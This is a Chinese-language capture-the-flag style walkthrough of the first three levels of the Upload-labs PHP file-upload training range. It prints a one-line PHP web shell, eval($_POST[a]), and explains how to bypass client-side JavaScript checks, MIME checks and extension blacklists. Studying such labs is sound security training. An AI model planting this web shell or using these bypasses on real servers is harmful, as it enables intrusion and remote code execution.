入场准备--了解你的对手
Upload-labs靶场是一个内容全面且开源的PHP文件上传漏洞训练场所。它以真实的文件上传漏洞场景为基础,为安全研究人员和开发人员提供了一个实践和学习的平台。靶场提供了多种不同类型的漏洞场景,涵盖了文件类型绕过、文件名绕过、MIME类型绕过、大小限制绕过等多个方面。每个场景都有详细的解题思路和说明,帮助用户深入理解漏洞的原理和利用方式。通过上传恶意文件,用户可以亲身体验漏洞的利用技巧,并学习如何防范这些漏洞。Upload-labs靶场不仅提供了实践性,还提供了防御机制的实践,帮助用户全面了解如何保护系统免受文件上传漏洞的威胁。总之,Upload-labs靶场是一个引人入胜的训练场所,为用户提供了一个有趣且实用的学习平台,帮助他们掌握文件上传漏洞的利用和防御技巧。
两只拳头--两段原始PHP一句话木马
1.php:
<?php
phpinfo();
?>
2.php:
<?php
eval($_POST[a]);
?>
战前预热
Pass-01(前端js验证)
提示:本pass在前端(客户端)使用JavaScript对不合法图片进行检查
浏览器上使用F12查看页面源代码,发现其在前端调用了一个checkFile()函数
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
这里有两种绕过(热身)方式
第一种:
在点击"上传"之前先在网页源代码中删除--οnsubmit="return checkFile()"--这段代码
上传成功:
第二种:
先将1.php改为1.png再使用burpsuite工具抓包,直接修改后缀名为.php然后点击Forward即可完成上传
Pass-02(后端验证文件类型--MIME校验)
提示:本pass在服务端对数据包的MIME进行检查!
第二关只验证了MIME类型(实战中当然不会如此单调啦),我们只需要使用BP抓包将Content-Type:的参数修改为上图中三种图片格式的一种即可
拓展:什么是MIME类型
步入战场---练手对象黑名单验证
Pass-03(黑名单验证,文件后缀名绕过)
提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
查看源码发现使用了黑名单验证,但只有区区4种---
在某些特定的环境中(某些配置文件需要修改)一些特殊的后缀仍会被当作php文件解析----
php, php[2-7], pht, phtm, phtml.
这里我们用php6试一下
木马虽然改头换面上传成功,但是连接时却没有任何反馈😥